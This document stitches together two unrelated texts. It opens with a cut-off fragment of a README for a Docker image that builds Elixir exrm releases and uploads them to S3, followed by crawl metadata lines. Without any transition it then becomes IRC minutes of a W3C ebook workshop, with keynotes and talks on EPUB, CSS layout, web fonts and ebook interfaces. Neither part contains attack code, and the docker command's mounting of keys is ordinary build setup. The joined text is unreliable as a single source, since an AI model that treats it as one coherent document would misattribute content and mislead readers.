environment variables that your app needs during the build phase. The builder needs the S3_BUCKET, VERSION and REPO_URL. You also need to include any environment variables you used in your config/prod.exs file. For example your config/prod.exs could use System.get_env('SECRET_KEY_BASE') to avoid committing your secret key to the repo. In that case you must specify the SECRET_KEY_BASE as an environment variable below so it is available to the container when it builds the app. docker run \ --name builder \ -v /your/path/to/private/key:/root/.ssh/id_rsa:ro \ -v /your/path/to/public/key:/root/.ssh/id_rsa.pub:ro \ -v /your/path/to/s3/credentials:/root/.aws/credentials:ro \ -e S3_BUCKET="your-release-bucket" \ -e VERSION="0.0.1" \ -e REPO_URL="git@github.com:you/yourapp.git" \ -e SECRET_KEY_BASE=supersecret \ -it --rm mochromatic/exrm-builder [builder] Building some awesomeness. Fasten your seatbelt. Cloning into '/root/app'... Warning: Permanently added the RSA host key for IP address '192.30.252.120' to the list of known hosts. remote: Counting objects: 805, done. ... [builder] Done! Your application has been uploaded to s3://your-release-bucket.s3.amazonaws.com/releases/appname-0.0.1.tar.gz [builder] Starting iex console to test that the app will boot [builder] WARNING: if your app has a database this console is connected [builder] to the database. Tread lightly Using /root/app/rel/appname/releases/0.0.1/appname.sh created directory: '/root/app/rel/appname/running-config' Exec: /root/app/rel/appname/erts-7.1/bin/erlexec -boot /root/app/rel/appname/releases/0.0.1/appname -mode embedded -config /root/app/rel/appname/running-config/sys.config -boot_var ERTS_LIB_DIR /root/app/rel/appname/erts-7.1/../lib -env ERL_LIBS /root/app/rel/appname/lib -pa /root/app/rel/appname/lib/appname-0.0.1/consolidated -args_file /root/app/rel/appname/running-config/vm.args -user Elixir.IEx.CLI -extra --no-halt +iex -- console Root: /root/app/rel/appname /root/app/rel/appname Erlang/OTP 18 [erts-7.1] [source] [64-bit] [async-threads:10] [kernel-poll:false] 2016-04-08 07:57:22.216 [info] Running Appname.Endpoint with Cowboy using http on port 4000 Interactive Elixir (1.2.2) - press Ctrl+C to exit (type h() ENTER for help) iex(appname@1a7a0ea4f331)1> You should see a releases/app_name-version.tar.gz file in your S3 bucket. The builder starts the console at the end of the build process to ensure that the release boots up. Exit the console with Ctrl-C. The docker container will remove itself. Troubleshooting System error: not a directory This docker error usually happens if one of the volumes you specified could not be mounted. This could happen if the path in the -v flag is incorrect. The user-provided path /root/app/rel/yourapp/releases/0.0.1/yourapp.tar.gz does not exist. Make sure your version in mix.exs corresponds to the version you set with the -e flag. I want to see each command in the build process You can run the container with the DEBUG=1 flag to turn on set -x which displays all shell commands that are being run. That can give you a better idea of which build step failed. Running mix tasks This is out of scope for the building phase, but it is worth mentioning here because any app that uses a database will need to run mix ecto.migrate during the deployment phase. Exrm does not package mix tasks during the build process. This github issue discusses different ways you can get mix tasks to work. @jwarlander's approach worked for me.
https://hub.docker.com/r/mochromatic/exrm-builder/
CC-MAIN-2017-34
refinedweb
1,045
61.73
> > I used '#' because it was remining me of > .. > > Go up the page to the <a href="#index">index</a>. > > </body> > > </html> > > > > but probably any other syntax would have been good as well. > > BTW: We are using XML namespaces for this. This has the advantage that > the processing is already done by the XML parser (and it can be > validated using XML-schema). > It's also quite flexible since you can attach multiple semantics to a > tag, eg: > <button js: > <button objc: > <button notification: > etc. (we use it to attach different WOAssociation subclasses to a WO > binding) I like this suggestion of using namespaces, and thought it could be added later as an extension. I'd prefer to keep a basic simple format - as easy and friendly as possible - with no namespaces. But extendable. If the basic simple format uses no namespaces, then it's quite natural to associate each extension we add to Renaissance (either in the main Renaissance, or in a loadable bundle) with a new namespace. === About the point of references to objects, at the moment we do <window delegate="#NSOwner"/> to have the window delegate set to the NSOwner. I think, reading in between your lines and trying to extract your suggestions, you'd probably suggest that we use <window outlet: instead. Hmmm. I don't think a XML tool can validate the fact that 'NSOwner' points to something, because there is no tag with id 'NSOwner' in the file. The code loading the file might add arbitrary objects to the context table ('NSOwner' is just a default one), so an XML tool can't really validate those as valid references to ids anyway. There is an advantage in clarity, maybe, and not using '#' in this `unofficial' way. I find it somewhat more cumbersome, with longer attribute names. Maybe it should be supported as an alternative syntax. Not sure, I'm tempted to not change anything unless I'm sure the change is for the better :-) If you have some convincing arguments for writing <window outlet: instead of <window delegate="#NSOwner"/>, please let me know.
http://lists.gnu.org/archive/html/discuss-gnustep/2003-01/msg00431.html
CC-MAIN-2018-09
refinedweb
348
60.04
Importing global variables in python in two ways I came across a situation I don't understand. I have three files: one.py (runnable): import two import three three.init() two.show() two.py: import three def show(): print(three.test) three.py: test = 0 def init(): global test test = 1 The outcome is 1, as I expected. Now let's modify two.py: from three import test def show(): print(test) The outcome is 0. Why? 1 answer - answered 2017-10-11 10:28 scriptmonster It's all about scope. If you change your one.py as follows you would see better. import three from three import test three.init() print(test) print(three.test) it will print: 0 <== test was imported before init() 1 <== three.test fetches the current value When you import only variable it will create a local variable which is an immutable integer. But if you change order of the import statement like following you would get a different result: import three three.init() print(three.test) from three import test print(test) it will print: 1 <== three.test fetches the current value 1 <== test was imported after init()
http://quabr.com/46685712/importing-global-variables-in-python-in-two-ways
CC-MAIN-2018-30
refinedweb
194
78.35
Hey everyone, beginner posting again. I am working on this for a school HW assignment. I have the code thus far to make a 'calendar' of sorts. I can't seem to get it to make a new line at the proper spot and continue counting the days of the month. I can kind of see why. I know it has something to do with my displayTable function. I need it to make a new line before printing the date... It also has this problem when I input 6 for the offset, it will print the date below Sun, but then make a line. I don't even know if I am asking the right question, it's hard for me to word. Anyway, I've been working on this staring at the screen for hours and can't seem to find a solution myself or through google. There are similar problems, but I just can't get mine to work. Thank you for your help. I was even going to visit my tutor today about this problem, but he had to cancel. :frusty: This is what the output is showing:This is what the output is showing:Code:#include <iostream> #include <iomanip> using namespace std; void displayHeader() { cout << " Su Mo Tu We Th Fr Sa" << endl; return; } int getDays() { int days; cout << "Number of days: "; cin >> days; return days; } int getOffset() { int offset; cout << "Offset: "; cin >> offset; return offset; } void displayTable(int numDays, int offset) { // Variable int days; if (offset == 0) // Mon cout << setw(4) << " "; else if (offset == 1) // Tues cout << setw(8) << " "; else if (offset == 2) // Wed cout << setw(12) << " "; else if (offset == 3) // Thurs cout << setw(16) << " "; else if (offset == 4) // Fri cout << setw(20) << " "; else if (offset == 5) // Sat cout << setw(24) << " "; else (offset == 6) // Sun ; for (days = 1; days <= numDays; days++) { cout << " " << setw(2) << days; if ((days + offset) % 7 == 0) cout << "\n"; } cout << endl; return; } int main() { int numDays = getDays(); int offset = getOffset(); displayHeader(); displayTable(numDays, offset); return 0; } Code:Number of days: 30 Offset: 3 Su Mo Tu We Th Fr Sa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
https://cboard.cprogramming.com/cplusplus-programming/157476-calendar-program-im-having-trouble.html
CC-MAIN-2017-34
refinedweb
378
70.87
[NOTE]: This is a highly experimental (and proof of concept) library so do not expect all python packages to work flawlessly. Also, cloud functions are now (Summer 2018) rolling out native support for python3 in EAP so that also might be an option, check out the #functions channel on googlecloud-community.slack.com where the product managers hang around and open to help you out! py-cloud-fn is a CLI tool that allows you to write and deploy Google cloud functions in pure python, supporting python 2.7 and 3.5 (thanks to @MitalAshok for helping on the code compatibility). No javascript allowed! The goal of this library is to be able to let developers write light weight functions in idiomatic python without needing to worry about node.js. It works OOTB with pip, just include a file named requirements.txt that is structured like this: pycloudfn==0.1.206 jsonpickle==0.9.4 as you normally would when building any python application. When building (for production), the library will pick up this file and make sure to install the dependencies. It will do so while caching all dependencies in a virtual environment, to speed up subsequent builds. TLDR, look at the examples Run pip install pycloudfn to get it. You need to have Google cloud SDK installed, as well as the Cloud functions emulator and npm if you want to test your function locally. You also need Docker installed and running as well as the gcloud CLI. Docker is needed to build for the production environment, regardless of you local development environment. Currently, http, pubsub and bucket events are supported (no firebase). usage: py-cloud-fn [-h] [-p] [-f FILE_NAME] [--python_version {2.7,3.5,3.6}] function_name {http,pubsub,bucket} Build a GCP Cloud Function in python. positional arguments: function_name the name of your cloud function {http,pubsub,bucket} the trigger type of your cloud function optional arguments: -h, --help show this help message and exit -p, --production Build function for production environment -i, --production_image Docker image to use for building production environment -f FILE_NAME, --file_name FILE_NAME The file name of the file you wish to build --python_version {2.7,3.5} The python version you are targeting, only applies when building for production Usage is meant to be pretty idiomatic: Run py-cloud-fn <function_name> <trigger_type> to build your finished function. Run with -h to get some guidance on options. The library will assume that you have a file named main.py if not specified. The library will create a cloudfn folder wherever it is used, which can safely be put in .gitignore. It contains build files and cache for python packages. $DJANGO_SETTINGS_MODULE=mysite.settings py-cloud-fn my-function http -f function.py --python_version 3.5 _____ _ _ __ | __ \ | | | | / _| | |__) | _ ______ ___| | ___ _ _ __| |______| |_ _ __ | ___/ | | |______/ __| |/ _ \| | | |/ _` |______| _| '_ \ | | | |_| | | (__| | (_) | |_| | (_| | | | | | | | |_| \__, | \___|_|\___/ \__,_|\__,_| |_| |_| |_| __/ | |___/ Function: my-function File: function.py Trigger: http Python version: 3.5 Production: False ⠴ Building, go grab a coffee... ⠋ Generating javascript... ⠼ Cleaning up... Elapsed time: 37.6s Output: ./cloudfn/target/index.js This library works with pip OOTB. Just add your requirements.txt file in the root of the repo and you are golden. It obviously needs pycloudfn to be present. Since this is not really supported by google, there is one thing that needs to be done to make this work smoothly: You can't use the default clients directly. It's solvable though, just do from cloudfn.google_account import get_credentials biquery_client = bigquery.Client(credentials=get_credentials()) And everything is taken care off for you!! no more actions need be done. Look at the Request object for the structure from cloudfn.http import handle_http_event, Response def handle_http(req): return Response( status_code=200, body={'key': 2}, headers={'content-type': 'application/json'}, ) handle_http_event(handle_http) If you don't return anything, or return something different than a cloudfn.http.Response object, the function will return a 200 OK with an empty body. The body can be either a string, list or dictionary, other values will be forced to a string. Flask is a great framework for building microservices. The library supports flask OOTB. If you need to have some routing / parsing and verification logic in place, flask might be a good fit! Have a look at the example to see how easy it is! from cloudfn.flask_handler import handle_http_event from cloudfn.google_account import get_credentials from flask import Flask, request from flask.json import jsonify from google.cloud import bigquery app = Flask('the-function') biquery_client = bigquery.Client(credentials=get_credentials()) def hello(): print request.headers return jsonify(message='Hello world!', json=request.get_json()), 201 def helloLol(): return 'Hello lol!' def bigquery(): datasets = [] for dataset in biquery_client.list_datasets(): datasets.append(dataset.name) return jsonify(message='Hello world!', datasets={ 'datasets': datasets }), 201 handle_http_event(app) Django is a great framework for building microservices. The library supports django OOTB. Assuming you have setup your django application in a normal fashion, this should be what you need. You need to setup a pretty minimal django application (no database etc) to get it working. It might be a little overkill to squeeze django into a cloud function, but there are some pretty nice features for doing request verification and routing in django using for intance django rest framework. See the example for how you can handle a http request using django. from cloudfn.django_handler import handle_http_event from mysite.wsgi import application handle_http_event(application) look at the Object for the structure, it follows the convention in the Storage API from cloudfn.storage import handle_bucket_event import jsonpickle def bucket_handler(obj): print jsonpickle.encode(obj) handle_bucket_event(bucket_handler) Look at the Message for the structure, it follows the convention in the Pubsub API from cloudfn.pubsub import handle_pubsub_event import jsonpickle def pubsub_handler(message): print jsonpickle.encode(message) handle_pubsub_event(pubsub_handler) I have previously built go-cloud-fn, in which there is a complete CLI available for you to deploy a function. I did not want to go there now, but rather be concerned about building the function and be super light weight. Deploying a function can be done like this: (If you have the emulator installed, just swap gcloud beta functions with npm install && functions and you are golden!). py-cloud-fn my-function http --production && \ cd cloudfn/target && gcloud beta functions deploy my-function \ --trigger-http --stage-bucket <bucket> && cd ../.. py-cloud-fn my-bucket-function bucket -p && cd cloudfn/target && \ gcloud beta functions deploy my-bucket-function --trigger-bucket \ <trigger-bucket> --stage-bucket <stage-bucket> && cd ../.. py-cloud-fn my-topic-function bucket -p && cd cloudfn/target && \ gcloud beta functions deploy my-topic-function --trigger-topic <topic> \ --stage-bucket <bucket> && cd ../.. When things blow up, the first thing to try is to delete the cloudfn cache folder. Things might go a bit haywire when builds are interrupted or other circumstances. It just might save the day! Please get in touch at twitter if you bump into anything: @MartinSahlen Distributed under the MIT License
https://openbase.com/python/pycloudfn
CC-MAIN-2021-39
refinedweb
1,185
58.08
I am trying (and struggling) to figure out how to shuffle an array that represents a deck of cards. Basically this array of 52 numbers generates cards based on their properties such as rank and suit which are referenced from enumerated types in other classes (at least from what I understand): The driver class: package carddeck; //From Java Tutorial public class DisplayDeck { private static Deck deck = new Deck(); public static void main(String[] args) { printDeck(); deck.shuffler(); System.out.println("Now printing shuffled deck ..."); printDeck(); } public static void printDeck() { for (int i = 0;i < deck.getCards().length;i++) System.out.println(deck.getCards()[i].toString()); } } Deck class, which has the shuffler and as you can see I have tried to use the collections class to shuffle the cards but it is not doing anything package carddeck; import java.util.Collections; import java.util.ArrayList; public class Deck { private static Card[] cards = new Card[52]; private int length; public Deck() { int i = 0; for (Suit suit : Suit.values()) { for (FaceValue face : FaceValue.values()) { cards[i] = new Card(face, suit); i = i + 1; } } } public Card[] getCards() { return cards; } public static void main(String[] args) { int j; Deck deck = new Deck(); for (int i = 0;i < cards.length;i++) { j =((int)(Math.random() * 52)); System.out.println(cards[j]); } } public void shuffler(){ ArrayList arrayList = new ArrayList(); arrayList.add(Deck.cards); System.out.println(arrayList); } } The facevalue class package carddeck; public enum FaceValue {Ace, Two, Three, Four, Five, Six, Seven, Eight, Nine,Ten, Jack, Queen, King} ...and the suit class package carddeck; public enum Suit {Clubs, Diamonds, Hearts, Spades} and the card class package carddeck; public class Card { private FaceValue face; private Suit suit; public Card(FaceValue cardFace, Suit cardSuit) { face = cardFace; suit = cardSuit; } public Suit getSuit() { return suit; } public FaceValue getFaceValue() { return face; } @Override public String toString() { return face + " of " + suit; } } I feel like I've tried everything within my knowledge and research ability. Hopefully one of you can please help me out!
http://www.dreamincode.net/forums/topic/253405-shuffling-an-array-that-uses-enumerated-types-from-other-classes/
CC-MAIN-2017-04
refinedweb
330
52.09
See also: IRC log See also the agenda of the meeting, with references to talks and slides. thierry: (introducing workshop committee) … thanks to Marcus and Angela for all hard work and organization … we have also 19 experts in program committee … thanks for their hard work reviewing all papers … finally thanks W3C colleagues … for experience, advice ; Karen for all logistics aspects and Maria at the registration/admin … a few words about submissions … we got 43 submission papers that covered many topics … presentation, metadata, DRM, etc … we reviewed all … and we built agenda from there … unable to accomodate everyone because too many papers submitted … great interest in all the papers but need to have a subset to fit the 1.5 day schedule … we have 90 attendees representing all sectors of ebook industry … readers, publishers, SW, distributors, libraries, search engines, A11Y, etc. … participation is also a success because all ey players are here … (shows companies attending on screen) … particpation is also international, 13 countries, 4 continents … will allow to address int'l issues related to ebooks … About highlights … the event is divided in 5 sessions, 1 session per topic domain … (lists all sessions, see agenda) … Also a couple of keynotes … we want this wkshp interactive so please participate … we have then scheduled a lot of slots for discussions and feedback … and also a wrap-up session <gluejar> using #w3cebook on twitter … "lead the ebook publishing to its full potential"' … share info and expertise … unlikely we'll solve all tech issues but at least we can discuss them … create new work items specific to ebooks … where and when to adress the tasks we will discuss: standard bodies or new WGs or or or … Karen gave you wifi thingies, use IRC, the slides will be available on W3C site … there will be bkfst tomorrow, break today is 4-4:30 … lunch not provided tomorrow by W3C … all invited tomorrow evening to O'Reilly reception … thanks to all sponsors of the event: Pearson, Adobe, Google, Microsoft and O'Reilly … (my slides linked from agenda), thank you Karen: introducing Jeff Jaffe, W3C CEO … we have continued to grow under Jeff's leadership <karl> s/Topic: Keynote - Extending W3C current work, collaboration with IDPF /Thierry's slides jeff: Thanks Karen and Thierry … let me be the 2nd to thank everyone … in particular the host, collaborators and and and … was asked to do 3 things … since we're diverse community, first I'll provide an intro about w3c … second, brief update on recent activities … for you W3C members, that's not news … but others need it … third, some thoughts about why w3c thinks it is important for us … w3c founded by Tim Berners-Lee, inventor of web … still director of w3c … simple and powerful mission, lead the web to full potential … good job done but more to do … member-based organization … companies, research, academic, other standards bodies … financial model comes from the largest companies called full members … all the big names you know … discussing with the whole ecosystem of Webthe … professional staff to support and and the dialog with the industry, 70 on staff in 4 locations, latest host in China … our major goal is to define tech standards … tbl did not want companies to innovate alone and create wall gardens … we then all work together … contribute innovations and keep it open … standards available to everybody … 4 tech domains in W3C: interaction, Ubiquitous Web, Accessibility, Technology and society … 45 WGs … HTML 450 people in the WG, some other WG are much smaller … liaison with 80 other orgs … royalty-free patent policy is our major cornerstone … we ask members to make royalty-free commitments … it's more an int'l forum … we have relationship with de jure standards bodies too … lately, we've been working on a collection of standards: open web platform … many different techs … html5 … but also css, webapps for apis, fonts, device APIs, etc. … large contrast with what we had 15 years ago … rich interactivity … multimedia … graphics … very exciting capabilities … interesting number of different devices … was difficult to browse the web from a phone … at CES everyone had a HTML5 set-top box … the web is now ubiquitous … making it work everywhere is a feature of the open web platform … core supporting role for the trends of the industry and society … survey done over a year ago, how many developers using html5 … now 150% :-) … how many browsers will html5 in 2016: 2.1 billion … Gartner surveyed tech … number 2 was mobile apps <azaroth42> How do they know 2.1B? Ran out their 32 bits ;) … only the beginning … as we move to next step, impact on businesses is amazing … we talk to many people in indsutries … next-gen technology … business impact : opportunity for dialogs and business change … should not surprise us <tzviya> opportunity for businesses to change … looking back, the basic idea of the web transformed sharing of info and al jeff: what about publishing and the web? … not strangers … we publish web sites … the web is a really nice tool … introduced a new form of publishing … able to reach more people in some more open ways … when publishers needed add'l tools orgs created enhancements of what we're doing … the web has democratized publishing … every person is now a publisher … we reached conclusion we need a more complete robust dialog with publishing community … if we have a better dialog, we can make things happen better … let's be at the front-line of publishing and web technology … I'll talk about it at TOC on Wednesday … I'm going to listen and learn today and tomorrow … and will be your spokesperson at TOC … will just mention a few high-level thoughts … 4 categories for better dialog … first, styling on the web … nothing compared to classical publishing … we need to learn from that … second, more publishing will leverage the web jeff: third, distribution … fourth, the web is consumed differently … that will change everything jeff: that's all I had to say … at the end of day, we discuss transforming businesses … remember this is just the 1st meeting of that kind … lots more conversation … thank you karen: introducing Bill McCoy, CEO IDPF bill: thank you Karen and Jeff … thank you all very much … a privilege to be here and make this happen … w3c process for worshop is pretty selective … so thanks all of you … many of us here may realize a hashtag is a subchannel of IRC … #w3cebook is the hashtag bill: warm-up presentation … I'll be little controversial bill: a word about IDPF … 2/3rds of you are IDPF members … 350 members … all parts of the value chain … (lists) … mission is to foster an open ecosystem for digital publishing … develop epub format … dozen years … one piece only of the big picture … epub widely adopted for ebooks … many ebook retailers distribute epub to consumers … interchange format too … conversion from epub to local format … also delivery format bill: needs to extend html to the future … 2 years ago, kickoff meeting of epub3 in NYC … (digression about Random House lobby) … charter for epub3 … two distinct paths … xml schema … or build on the web … at that time html5 support was minority … adopting all of html5 would mean browser was required … consensus reached eventually … even Norman Walsh agreed … 3 years later, still dealing with consequences … was a brain transplant … still parts difficult to deal with … the publishing industry does not exist ina vacuum … one click away from the web … we cannot reinvent the wheel … building on the web was a no-brainer … if you look at the last 20+ years, 3 ways to deliver digital contents … download files or apps ? … not a topic for the next two days … all valid ways to distribute contents … depends on what consumer need … sometimes one, sometimes the other … we reinventing what we call books and magazines … no need to argue about files#apps#... bill: browser interface is what users see … we're at the very beginning … consumers are spending more time in apps and less in files … controversial perhaps … but not aguing against the open web platform … web technologies are becoming common place … so we're on the verge of success … reusing tools and components across all modes of creation and distribution … a universal platform … the web platform … not done yet … we're also near failure … not surprising … the big risk is fragmentation … look at webapps, many systems … fragmentation already there in webapps … in publishing we have our own suspects … all html5-based … but non interoperable … many will support epub3 but no every feature … so browser wars still alive and well … of course, all propose proprietary extensions … (digression about Adobe stealing from Xerox :-) ) … extract all the value from open standards … taking advantage of it … bootstrap your own proprietary platform … shame on us as an open community if we let that happen … even worse is monopoly control by a single vendor … let's face it, we're almost here … what can we do about fragmentation? … 100 specs are used by us ! … we don't even have an exact count of them … the open web platform is perceived as unrelated blocks of legos (shown on screen) … we need a better architecture … no enough vision … what specs comprise the platform? too many WGs ? … some WGs seems competitors … html5 did successfully kill Flash … but the open platform is not able to catch up yet … the browser market share is today better than it used to be because no monopoly … interoperable standards are here … lots of issues to work out still … 2 things we need to do, really: … first, collaborate much better … we're the bazaar not the cathedral … we cannot remain in isolation … browser vendors must NOT be the only ones dealing with the open web platform … minimizing religious disagreements about secondary details … (digression about Monty Python) … not pointing fingers at W3C, same thing about IPDF bill: we have responsibility and we're not there yet … second, eliminate assumption that browsers are only to display web contents … the OWP has to make documents and apps first-class … everything can be served from the cloud … we don't really know what the future experience will be … we can also take a position here … we simply have to do it to create momentum … let's raise the bar of the OWP … the browser wars have shown … I'd like to see excellence … question if the OWP should bother with requirements from commercial platforms … does it matter if OWP is adopted by publishing and digital platforms? … still doubt if W3C membership has embraced the notion of publishing industry+web … going to be a win-win and we need to realize it … full adoption is going to be large across various industries <davidwood> Can play a role? Documentation of both the vision and how the components should fit together seems a possible direction to discourage fragmentation. … high-design content needed bill: interactivity and rich media … w3c does not speak of semantic web any more <davidwood> BUT THEY SHOULD … learning material for education? … semantic structure … files, apps, websites … multiple channels, interop … int'l, global languages … writing modes in CSS … publishers need to represent content on various shapes and sizes of screens … a11y is a critical focus … print disabled people must have access … we need user-friendly tools … democratizing the web cannot only for coders … (applause) … benefits of the focusing on OWP are both ways … it's not about publishing to raise the web, but vice-versa too … I'm optimistic we can succeed … universal OWP for publishing and web sites <davidwood> Structured semantics are legitimately important (IMO) for publishers because the alternatives include fragmented individual solutions, unstructured semantics like tags and disconnected semantics like microformats. … future of the web is up to all of you … let's make next two days count <karl> Håkon Lie, Opera: multicolor is CSS module ... resizing this, you can reset width ... number of columns changes dynamically ... basically say my ideal wideth is 14m ... one line of code ... we have this nasty scroll bar ... to read full article, you have to scroll up and down ... not idea ... so we added overflow page ... if I were on a tablet, I would use my finger ... this is one idea ... the Romans changed the world of publishing ... putting things on scrolls ... another magic things that happens when I combine floats ... with multicolumns ... why image is on the right ... also span two paragraphs ... moving from 4-3 columns, something gives ... image moves to next page ... don't have to write in detail, it happens normally ... We want more pictures and flow things to bottom, top, corners ... make elements span across all columns ... you see where I am aiming with this layout ... I replace those cats ... replaced them with sheep ... We don't know what The Guardian designer would have done ... this is all being done dynamically in front of you ... See the byline, second column ... It was hard to do ... pushed things aside a bit ... That's newspaper example ... this can also be done for magazines ... we can combine this with what we have in CSS ... the rotation, text shadows...still page layout ... and only ten lines of code ... Another interesting example is dictionaries ... many have text and images intertwined ... As I resize this ... the images make up white areas ... this image of Cato ... white space ... so find a solution...such as all pages on top ... but that doesn't work ... still use float and multicolumn layout ... but also use snap ... so it moves to its natural position in the layout ... this is very useful, especially in scientific publications ... I end with an academic paper ... This is a boring looking document ... but it has an important byline ... has been impossible to do on the web ... as I reformat for different screens, it changes ... I want it to be on bottom and in page mode ... There we are ... let me summarize briefly ... In ten lines of code ... I can replicate 90 percent of publications ... clean HTML, responsive design ... number of columns changes from tablet to mobile ... this works out the box ... Think we should have run-arounds ... and synchronization with baselines ... don't have those ... and select independent columns and pages Alan: Next speaker is Vlad Levantovsky, Monotype Vlad: Monotype is a big organization everyone knows ... I found it to be useful to start with newspapers similar to Hokum ... see type ... two and a half inches in size with eight different type faces ... doesn't really help to convey information ... Nothing really changes when you look at the web ... as much type ... Jeff mentioned in his keynote, everyone is a publisher ... which is scarey ... So I'm going to talk about professional publishers ... not just what we say, but how we say ... I'm sure you'd like 'Harvey Davidson' in swirley font ... [a few other examples] ... Type face gives your message trust and integrity ... you can make it whisper or screan [GoodYear example] Vlad: all these tricks can be accomplished today ... Do we have web fonts? yes ... Embedded fonts? yes ... life is good; are we done? ... Not really ... Jan Tschhichold said, "Everything that counts in typography is...." ... Screen typography is very different from paper ... why it's different ... Here is how I want my type to be seen on the screen page ... when glyph outlines convert into pixels, it is blurry ... apologize for highly visual nature ... Quality of rendoring is big factor ... that is not easy to control ... those tyings are type features ... when you look at print publications ... today, most publishers use ligatures, numbering styles ... tools that publishers get accustomed to using ... Everything from the printing press will look identical ... to their true, original design ... with onscreen typography ... publishers need to understand the underlying screen limitations ... something that works well in print will not work on screen ... Here is an example of incorrect type faces [Mad Men example] Vlad: At Monotype we have been going through effort of converting popular book faces into ebook formats ... shows changes of width, proportion, limitations of print display ... We have been developing completely new breeds of type faces for onscreen and ebook display ... Malabar is one such example ... see this onscreen in the Nook reader from Barnes & Noble ... gives crisp design ... and is popular with ebook readers ... That concludes my presentation ... I wanted to outline the problems, mostly in the professional publishing world ... We'll see more of them ... We need to communicate ... Publishers need to understand limitations of screen typography ... and web needs to understand their needs ... so we can accomplish both Jaejeung Kim, KAIST <tmichel> Enrichment of eBook User Interfaces: A Skeuomorphic Approach, Jaejeung Kim (Kaist) JK: I am a user experience researcher at KAIST ... presentation is enrichment of user interfaces ... Reading a book requires a good presentation ... content layouts, font alignment ... another perspective is well manipulation of pages ... which requires a good user interface ... how the content changes depending upon user input ... Novels are mainly composed of text ... we read line by line in sequential order ... this is formal reading <karl> ebook prototype UI by KAIST JK: Text books are composed of text, graphics...but not always in a sequence ... Newspapers and magazines are composed of all sorts of content ... we read without order ... so it's informal or casual reading ... eBook content are more than just text ... they are evolving to more interactive ... this is what ePub is aiming for ... it requires a more dynamic way of navigating through the content ... We conducted research to search for answer ... I will show you our design approach ... focus was not just eye candy or photo realism ... but to functionally contribute to the users' reading experience ... to bring print reading functional to touch-screen device ... Let me introduce you to two missing features ... thumbing through pages ... and temporal bookmarking JK: our prototype is not based on any web technology ... Thumbing through is a four edge ... highlight area is called the four edge ... to thumb through ... you are able to perceive overall structure and content in a few seconds ... cannot use search ... have to go through pages to find a picture without explicit data ... use of this thumbing through was high in formal documents ... four edge UI is rendered on side ... touch dragging outward ... flips pages very quickly, in a few seconds ... and user is freely able to turn pages in a book holding position ... additional role of this four edge gives a tactile cue of page location, amount of pages left...plays a huge role ... also used to tag for location; a sort of bookmark ... we applied this in the ebook in the four edge area ... another feature was temporal bookmarking ... frequently done in book reading tests ... make a comparison among pages ... or stay on current page and get content from going back/forth to other pages ... use dragging gesture ... on release either return or stay the remote page ... Give you a demo ... This is thumbing through; second is temporal bookmarking ... compare pages and instantly return ... This video has had more than 500K views on YouTube ... Issues and requirements from Web perspective ... If it goes to web ... it requires a layout of the interface ... and rendering of page stack behind the current view page ... this cannot replace ... the slider bar ... to jump from page to page ... requires an HTML5 cache control to load pages ... also an API for placing additional features on four edge area ... like bookmarking ... and also flexible division of separate content on same page ... I have my device and you are welcome to try it hands-on later on Alan Stearns, Adobe: introduces himself … "Web versus eBooks" … relatively new to both domains … been working on CSS standards last two years … epub features in CSS … what epub needed for adaptive layout … will detail my impressions … great thing to see epub3 based on html5 … and the OWP … the web ecosystem is so much larger than the one we have for ebooks … it's going thru the transition now … more widespread authoring skills … Web+EPUB is then a good shift … but what I would like to see is the two techs working better together stearns: where interests converge, we should find a single solution … where EPUB leads, improve the Web based on it … for instance the EPUB content document … we should work on it in the CSS WG looking at those requirements … where interests diverge, make the web extensible and use polyfills … the IDPF should create those polyfills … packaging is a convergence … offline apps and documents share a lot of things … would be an awful thing to see them diverge … we should work at converging them into a single baseline … the Content document for EPUB was leading the W3C standards and used prefixed CSS properties to do that … some people complained about using prefixed properties from specs in progress in CSS but I think it was fine … showing what they actually need … once you have prefixed properties, you have to push ; IDPF has to push … to make W3C specs move along the REC track stearns: we should prioritize based on that … CSS TExt are crucial to EPUB … needed also for the OWP … still a Working Draft until last week stearns: CSS WG meeting last week about it … I'm guilty about keeping things late … Want to push EPUB things need … CSS 3 Speech … there epub properties about this … in CSS WG this ended up at the end of list of priorities … only the editor has been pushing this … so we need more participation from IDPF about this … it needs to go to LC and needs Test Suite … this particular lags because of lack of interest stearns: that's one point of collaboration we can do … CSS specs needs test suites … and love more generally … IDPF could contribute producing them … naive understanding is that IDPF has not done that testing … there could be more … if there are EPUB tests we can go to, are this or that property available in EPUB readers? … each viewer is not required to support everything stearns: so different capabilities across readers … now, polyfills... … there are some things that could be added on top of OWP to support EPUB features … for instance in JS … would help viewer development stearns: adaptive layout for instance, Adobe had a large JS library … not really the way you want to do a polyfill … smaller minimal chunks per feature … not a comprehensive, too large library … not everything can be polyfilled … things from håkon's demo for instance … some things should be prioritized in the OWP or made so they can be polyfilled stearns: the CSS WG appears to me to come up with 80% solutions that are not extensible … hence dead ends … and then JS is needed … we should have extensibility points so an ecosystem like eBooks can build upon our stack … paginated views for instance … would be a terrible failure if we come up with different solutions … a bit about my own specs, Regions, Exclusions & Shapes, Page Templates stearns: all things about adaptive layout … find a good isolated feature for each piece … CSS features EPUB can build upon … I would like to see more collaboration and feedback about this … CSS Regions in particular has diverged from original intent, from what you see in EPUB … so complaining a bit : we need more collaboration … when I brought proposal to IDPF, I got silence and splitism … that attitude needs to change … there will always be changes in a standards process … you just have to accept it and live with it … I'm not going to take more time … I want Q&A now … I want to raise the OWP to ebook standards … (applause) Karl Dubost: how many people know about polyfills and caniuse in the room? raise hands ! people raise hands <tmichel> Polyfill about 30 % stearns: polyfill 1/2, caniuse a bit less stearns explains what they are stearns explains caniuse <karl> Ambica Desaraju (CourseSmart): 3 questions … could bindings be an example of polyfills ? … epub lists bindings as fallbacks for widgets the browser does not support … for example slideshow … bindings pulled out at run time stearns: you choose different JS ? ... then yes ambica: future of html5 appcache? all laugh plh: working on it … the appcache mechanism is broken right now … implemented but broken … meeting last week in London to find a new proposal … work being done … trying to find a solution ambica: are mobile devices considered too? plh: yes stearns: documents and apps are all the same thing ; example of PhoneGap and polyfill model … whenever we build somthg into PhoneGap, we want that to become obsolete and polyfills the way to go ambica: howcome, you listed ten lines of coce … what about responsive design for mobile devices, CSS Media Queries for many devices Håkon: there were no MQ in my examples … only multicol … when you hit the limit, you need the MQ but that's a last resort solution … we have a range here plh: Philippe Le Hégaret, W3C … thanks for bringing testing … had a meeting in SF about that … reps from mobile and non-mobile industry … all had a their own profile of OWP … they realized they share 90% … lots of common interest … if we're going to look at epub's profile, lots of common interest too … so contributing to testing to OWP <tmichel> Kim Marriott, Monash 